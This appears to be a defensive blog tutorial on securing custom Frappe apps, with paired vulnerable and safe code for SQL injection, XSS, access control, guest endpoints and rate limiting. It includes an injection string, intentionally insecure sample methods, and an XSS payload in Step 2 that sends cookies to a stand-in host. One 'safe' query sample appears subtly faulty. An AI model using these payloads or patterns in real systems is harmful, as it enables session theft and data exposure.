Frappe Framework Security Hardening: Preventing SQL Injection, XSS & Common Vulnerabilities

Frappe Framework security hardening for public whitelisted methods

Frappe Framework Security Hardening

You wrote a small helper method to fetch a customer's invoice history for a dashboard widget. It shipped fine — until someone pointed a script at that same endpoint, swapped the customer ID in the URL, and pulled every invoice in the system, not just their own. No exploit, no zero-day: just a @frappe.whitelist() decorator that trusted a client-supplied ID without checking who was asking. 🕵️

This is the pattern behind most real-world Frappe app breaches: not weaknesses in Frappe's core framework, but gaps in the custom code layered on top of it. This post walks through the vulnerability classes that matter most — SQL injection, XSS, broken access control — mapped against the OWASP Top Ten, with concrete vulnerable-vs-safe code for each.


⏱️ Time to Complete (~20 minutes read)

🎯 What You'll Learn

  • 🔍 Why custom app code, not Frappe core, is where most real vulnerabilities live
  • 💉 How to spot and fix SQL injection in raw frappe.db.sql() queries
  • 🧼 Safe patterns for rendering user input in HTML, print formats, and client scripts to prevent XSS
  • 🔑 Why every @frappe.whitelist() method needs its own internal auth and ownership checks
  • 🛡️ How CSRF protection, rate limiting, and permission design fit together in production

👥 Best For

Frappe app developers preparing a custom app for production 🚀, technical leads doing pre-launch security review, and anyone maintaining internal tools built on Frappe.


The Core Concept 🧠

Public Frappe API attack surface protected by validation, authentication, authorization, and rate limits

Frappe gives you an enormous amount of security for free 🎁 — session handling, CSRF tokens, a role-based permission engine, ORM-level query safety. None of that protects you once you start writing raw SQL, custom whitelisted endpoints, or client-side scripts by hand.

The framework's guardrails end exactly where your custom code begins. Every frappe.db.sql() call, every @frappe.whitelist() method, every line of Jinja in a print format is a place where you've stepped outside the parts Frappe secures automatically — and where OWASP's classic categories (injection, broken access control, XSS) come right back into play. ⚠️

The rest of this post walks through each of those seams one at a time.


Step 1: SQL Injection in frappe.db.sql()

Unsafe SQL string concatenation compared with parameterized queries and the Frappe ORM

The single riskiest habit 💉 in Frappe app code is building a SQL string with Python string formatting instead of parameters.

Vulnerable — user input concatenated directly into the query:

# NEVER do this — customer_name comes straight from a form/API call
customer_name = frappe.form_dict.get("customer_name")
query = f"SELECT * FROM `tabCustomer` WHERE customer_name = '{customer_name}'"
results = frappe.db.sql(query)

If customer_name arrives as ' OR '1'='1, the query's logic breaks wide open 😬 and returns every row in the table. Worse payloads can chain additional statements or exfiltrate unrelated data.

Safe — parameterized query with %s placeholders:

customer_name = frappe.form_dict.get("customer_name")
query = "SELECT * FROM `tabCustomer` WHERE customer_name = %s"
results = frappe.db.sql(query, (customer_name,))

Passing values as a separate tuple lets the database driver escape them correctly — the string and the data never mix, so injected SQL syntax is treated as inert text.

Even safer — skip raw SQL entirely where possible:

results = frappe.get_all(
    "Customer",
    filters={"customer_name": customer_name},
    fields=["name", "customer_name", "territory"]
)

frappe.get_all and the query builder (frappe.qb) generate parameterized SQL under the hood automatically, so there's no manual escaping to get wrong in the first place. ✅

⚠️ Common Mistake: Developers often reach for raw frappe.db.sql() out of habit for "simple" filters, then forget parameterization the one time the query gets a variable added later. Default to frappe.get_all() or frappe.qb unless you have a specific reason not to.


Step 2: Cross-Site Scripting (XSS) in Custom HTML and Client Scripts

Defenses against XSS, CSRF, and unsafe public guest endpoints

XSS in Frappe apps usually shows up in three places 🎭: Custom HTML blocks, client script innerHTML assignments, and Jinja-rendered print formats or web pages.

Vulnerable — injecting user input via innerHTML:

// Client Script on a form
frappe.ui.form.on("Support Ticket", {
  refresh(frm) {
    let comment = frm.doc.customer_comment;
    $(frm.fields_dict.comment_preview.wrapper).html(comment); // XSS risk
  },
});

If customer_comment contains <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, that script executes in the browser of whoever views the record — including admins. 😱

Safe — use .text() or explicit sanitization instead of raw HTML injection:

frappe.ui.form.on("Support Ticket", {
  refresh(frm) {
    let comment = frm.doc.customer_comment;
    $(frm.fields_dict.comment_preview.wrapper).text(comment); // escapes by default
  },
});

If you genuinely need to render HTML (not just plain text), sanitize it first:

# Server-side, before storing or before rendering in a print format
from frappe.utils import sanitize_html

safe_content = sanitize_html(user_submitted_html)

sanitize_html strips dangerous tags and attributes (like <script> or onerror) while preserving safe formatting markup — use it any time user-authored content is rendered as HTML rather than plain text. 🧼

🔒 Security Note: Jinja auto-escapes variables by default in Frappe's templates, but the | safe filter and raw string concatenation both disable that protection. Never apply | safe to a field a user can edit unless it has already passed through sanitize_html.


Step 3: Whitelisted Methods Are Public Endpoints — Assume Nothing

Every method decorated with @frappe.whitelist() is reachable over HTTP 🌐 the moment the app is installed — with or without allow_guest=True, it's callable by any authenticated user, and by anyone at all if guest access is enabled.

Vulnerable — trusts a client-supplied ID with no ownership check:

@frappe.whitelist()
def get_invoice_details(invoice_name):
    # Any logged-in user can pass ANY invoice_name and read it
    return frappe.get_doc("Sales Invoice", invoice_name).as_dict()

A logged-in customer account, or any user with the lowest possible role, can iterate through invoice IDs and read records that belong to other customers entirely. 🚨

Safe — validate the session user, roles, and record ownership inside the method:

@frappe.whitelist()
def get_invoice_details(invoice_name):
    doc = frappe.get_doc("Sales Invoice", invoice_name)

    # Explicit ownership / permission check, not just "user is logged in"
    if not doc.has_permission("read"):
        frappe.throw("Not permitted", frappe.PermissionError)

    return doc.as_dict()

doc.has_permission() runs the record through Frappe's full permission engine — role checks, user permissions, and owner rules — instead of assuming that being logged in is enough. ✅

For endpoints touching sensitive roles, layer an explicit role check too:

@frappe.whitelist()
def approve_refund(refund_name):
    if "Accounts Manager" not in frappe.get_roles(frappe.session.user):
        frappe.throw("Not permitted", frappe.PermissionError)
    # ... proceed with the approval

⚠️ Common Mistake: Treating frappe.session.user != "Guest" as "the request is safe." Being authenticated is not the same as being authorized for this specific record. Always check permission on the record, not just the session.


Step 4: CSRF Protection and the allow_guest=True Trap

Frappe automatically attaches a CSRF token to session-based requests from its own client, and validates it server-side on state-changing calls — you get this for free for standard logged-in usage.

The gap opens with allow_guest=True endpoints, which by design accept requests with no session and no CSRF token 🚪, since there's no logged-in session to protect.

Vulnerable — a guest-accessible endpoint with no other safeguards:

@frappe.whitelist(allow_guest=True)
def submit_lead(email, name, message):
    frappe.get_doc({
        "doctype": "Lead",
        "email_id": email,
        "lead_name": name,
        "notes": message
    }).insert(ignore_permissions=True)
    return {"status": "ok"}

Because there's no session to tie requests to, this endpoint can be hammered by scripts at scale ⏱️ — spam submissions, storage exhaustion, or use as a relay for injecting content elsewhere in the system.

Safe — add explicit rate limiting and input validation since CSRF can't help here:

from frappe.rate_limiter import rate_limit

@frappe.whitelist(allow_guest=True)
@rate_limit(key="email", limit=5, seconds=60 * 60)
def submit_lead(email, name, message):
    if not frappe.utils.validate_email_address(email, throw=False):
        frappe.throw("Invalid email")

    frappe.get_doc({
        "doctype": "Lead",
        "email_id": email,
        "lead_name": frappe.utils.sanitize_html(name),
        "notes": frappe.utils.sanitize_html(message)
    }).insert(ignore_permissions=True)
    return {"status": "ok"}

🔒 Security Note: CSRF tokens exist to prove a request came from your own logged-in browser session. Guest endpoints have no session to prove, so the real defenses shift to rate limiting, input validation, and — for anything sensitive like webhooks — signature verification instead.


Step 5: Permission Model Correctness — Don't Enforce in the Frontend Only

Server-side Frappe permission enforcement compared with untrusted frontend checks

Frappe's permission engine 🧩 works at three layers: role-based permissions (can this role read/write this DocType at all), user permissions (restrict a user to specific linked records, like their own Territory or Company), and "if owner" rules (only the creator of a record can access it).

Vulnerable — permission logic only exists in client-side JavaScript:

// Client Script — hides the delete button in the UI
frappe.ui.form.on("Support Ticket", {
  refresh(frm) {
    if (frm.doc.owner !== frappe.session.user) {
      frm.disable_save();
      frm.page.clear_menu();
    }
  },
});

Hiding a button changes nothing about the server. 🙈 Anyone can call the underlying frappe.client.delete API directly with the record name and bypass the UI entirely.

Safe — enforce the same rule at the DocType permission level and in server-side hooks:

# In the DocType's permission config (or via a permission query condition)
def get_permission_query_conditions(user):
    if not user:
        user = frappe.session.user
    return f"(`tabSupport Ticket`.owner = '{frappe.db.escape(user)}')"

def has_permission(doc, user):
    return doc.owner == user

Combined with role permission levels set in the DocType itself, this ensures the rule holds no matter which route — UI, REST API, or a custom whitelisted method — a request comes through.

⚠️ Common Mistake: Treating client-side checks (hiding fields, disabling buttons) as a security control instead of a UX nicety. Every permission rule that matters has to be enforceable on the server, full stop.


Step 6: Rate Limiting Login Attempts and Public Endpoints

Brute-force login attempts 🔓 and abuse of guest-accessible whitelisted methods are two of the most common real-world attack patterns against any web app, Frappe included.

Frappe's site_config.json supports built-in rate limiting for login attempts:

{
  "rate_limit": {
    "window": 3600,
    "limit": 5
  }
}

This throttles repeated failed login attempts from the same source within the configured window, which meaningfully slows down credential-stuffing attacks.

For your own allow_guest=True whitelisted methods, apply the rate_limit decorator shown in Step 4 per-endpoint, scoped to whatever identifier makes sense — IP, email, or API key — rather than relying only on the global site setting.

🔒 Security Note: Rate limiting is not a substitute for authentication checks — it's a second layer that limits blast radius when the first layer is probed. Use both, not either.


Step 7: Keep Frappe and Bench Patched

A meaningful share of real-world incidents against Frappe-based apps trace back not to custom code at all, but to running an outdated framework version 📦 with a publicly known, already-patched vulnerability.

Check your current version and available updates regularly:

bench version
bench update --patch

Subscribe to the Frappe GitHub Security Advisories page 🔔, and treat a pending security patch the same way you'd treat a pending OS security update — scheduled, not optional, not "next sprint."

⚠️ Common Mistake: Pinning a Frappe version for stability during a long project and never revisiting it after launch. A framework that was secure at pin-time can accumulate known, exploitable CVEs the longer it goes unpatched.


Pre-Production Security Checklist ✅

Pre-production Frappe security checklist for patches, input, permissions, guest access, rate limits, output, secrets, and logs

  • 💉 Every frappe.db.sql() call in the app uses %s placeholders with a values tuple — no f-strings, no % formatting, no .format() building the query itself
  • Wherever possible, raw SQL has been replaced with frappe.get_all(), frappe.get_doc(), or frappe.qb
  • 🔑 Every @frappe.whitelist() method validates frappe.session.user, checks roles via frappe.get_roles(), and calls has_permission() on the specific record — never trusts a client-supplied ID blindly
  • Every allow_guest=True endpoint has rate limiting, input validation, and (for webhooks) signature verification ⏱️
  • 🧼 Client scripts use .text() or DOM text properties instead of .html()/innerHTML for any user-supplied content
  • Any HTML rendered from user input passes through frappe.utils.sanitize_html first ✅
  • 🛡️ Permission rules (role, user permission, owner) are enforced server-side via DocType permissions and get_permission_query_conditions — not just hidden in the UI
  • Login rate limiting is configured in site_config.json 🔒
  • 📦 bench version has been checked against the latest release, and any pending security patches are scheduled
  • Custom Jinja templates and print formats avoid the | safe filter on user-editable fields ⚠️

Common Gotchas & Troubleshooting 🛠️

  • 🏠 "It's an internal tool, so security doesn't matter as much." Internal tools are often where ignore_permissions=True gets used most casually — that flag bypasses the entire permission engine, so audit every place it appears.
  • "I used frappe.db.sql() with %s but it still feels off." Double-check you passed a tuple or list as the second argument (frappe.db.sql(query, (value,))), not string-interpolated the value before passing it — a common near-miss that looks safe but isn't. 🔍
  • 🕵️ "My whitelisted method works fine when I test it logged in as Administrator." Administrator bypasses most permission checks by design — always test whitelisted methods as a low-privilege role before shipping.
  • "XSS testing didn't show anything in my own browser." Modern browsers sanitize some obvious payloads automatically; test with a dedicated payload list (OWASP's XSS cheat sheet) rather than assuming a clean manual test means the field is safe. 🎭
  • ⏱️ "Rate limiting doesn't seem to trigger." Confirm the rate_limit decorator's key actually varies per requester (IP/email/user) — a poorly chosen key can accidentally rate-limit all users together or none at all.

Final Thoughts 💡

Frappe hands you a genuinely strong security baseline 🛡️ — CSRF handling, a real permission engine, ORM-safe queries — almost for free. The vulnerabilities that make it into production almost always live in the custom code layered on top: a raw SQL string, a whitelisted method that trusts too much, an innerHTML call that shouldn't exist. Run through the checklist above ✅ before every production release, not just the first one, since new custom methods reopen the same risks every time they're added.


References 🔗